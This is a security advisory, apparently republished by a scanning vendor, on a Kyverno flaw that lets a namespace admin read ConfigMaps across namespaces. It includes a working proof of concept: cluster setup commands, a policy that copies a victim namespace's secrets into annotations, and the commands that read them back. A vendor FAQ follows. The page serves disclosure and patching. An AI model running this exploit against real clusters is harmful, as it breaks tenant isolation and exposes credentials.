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Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix) — github.com/kyverno/kyverno

Incorrect Authorization

Summary

CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability — the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.

Details

Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.

Code path comparison:

| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) | |--|---|---| | Location | apiCall.URLPath field | configMap.namespace field | | Code path | apicall.Fetch() → namespace regex validation | configmap.NewConfigMapLoader() → no validation | | Root cause | Variable substitution + missing validation | Same pattern, still unpatched |

Exploit mechanism:

Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)
Policy uses context.configMap.namespace: "victim-ns" to reference another namespace
Kyverno's admission controller service account (has cluster-wide view role) fetches the ConfigMap
Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations

Affected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.

PoC

Full reproduction (5 minutes on kind):

#!/bin/bash
# Setup: kind cluster + Kyverno v1.17.0
kind create cluster --name kyverno-poc --wait 60s
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait

# Create attacker and victim namespaces
kubectl create namespace attacker-ns
kubectl create namespace victim-ns

# Plant sensitive data in victim namespace
kubectl create configmap sensitive-config -n victim-ns \
    --from-literal=db-password=&quot;s3cr3t-p4ssw0rd&quot; \
    --from-literal=api-key=&quot;AKIAIOSFODNN7EXAMPLE&quot;

# Create namespace admin RBAC (standard multi-tenant setup)
kubectl create serviceaccount ns-admin -n attacker-ns
kubectl create rolebinding ns-admin-binding --clusterrole=admin \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
kubectl create role kyverno-policy-creator --verb=create,get,list \
    --resource=policies.kyverno.io --namespace=attacker-ns
kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \
    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns

# Verify namespace admin CANNOT directly access victim-ns
kubectl get configmap sensitive-config -n victim-ns \
    --as=system:serviceaccount:attacker-ns:ns-admin
# Error: Forbidden (expected)

Exploit policy:

# Apply as namespace admin
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: configmap-crossns-read
  namespace: attacker-ns
spec:
  rules:
  - name: steal-configmap
    match:
      any:
      - resources:
          kinds: [ConfigMap]
          names: [&quot;trigger-cm&quot;]
    context:
    - name: stolendata
      configMap:
        name: &quot;sensitive-config&quot;
        namespace: &quot;victim-ns&quot;    # &lt;-- NO VALIDATION
    mutate:
      patchStrategicMerge:
        metadata:
          annotations:
            exfil-db-password: &quot;{{ stolendata.data.\&quot;db-password\&quot; }}&quot;
            exfil-api-key: &quot;{{ stolendata.data.\&quot;api-key\&quot; }}&quot;

Trigger and exfiltrate:

# Trigger policy (as namespace admin)
kubectl apply -f - &lt;&lt;EOF
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-cm
  namespace: attacker-ns
data:
  innocent: &quot;data&quot;
EOF

# Read exfiltrated secrets
kubectl get configmap trigger-cm -n attacker-ns -o jsonpath=&#039;{.metadata.annotations}&#039; \
    --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool
# Output:
# {
#     &quot;exfil-api-key&quot;: &quot;AKIAIOSFODNN7EXAMPLE&quot;,
#     &quot;exfil-db-password&quot;: &quot;s3cr3t-p4ssw0rd&quot;
# }

Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.

Impact

Severity: HIGH (CVSS 7.7)

Who is affected:

Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)
Multi-tenant clusters where ConfigMaps contain sensitive data
Azure Kubernetes Service (AKS) and other managed K8s using Kyverno

Attack prerequisites:

Namespace admin privileges (standard RBAC in multi-tenant clusters)
Ability to create Kyverno Policy resources (default for namespace admins)
No cluster-admin required

What can be exfiltrated:

Any ConfigMap from any namespace
Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps

Why this matters:

Namespace isolation is a fundamental Kubernetes security boundary
Namespace admin is an expected, common RBAC level in production multi-tenant clusters
Violates the principle of least privilege and breaks multi-tenancy guarantees

Suggested fix: Apply the same namespace validation from apicall.Fetch() to configmap.NewConfigMapLoader():

Pass policyNamespace to NewConfigMapLoader()
After variable substitution on namespace, validate resolved namespace == policyNamespace
Return error if validation fails

Also audit other context loaders (globalReference, imageRegistry, variable) for the same pattern.

Tested versions:

Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)
Helm chart: 3.7.0
Kubernetes: v1.35.0 (kind)

Published: Apr 16, 2026
Updated: Aug 29, 2026
GHSA: GHSA-cvq5-hhx3-f99p
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWEs:

CWE-863

Affected Software
References

Software	Affected versions
github.com/kyverno/kyverno	`<= 1.17.1`

https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.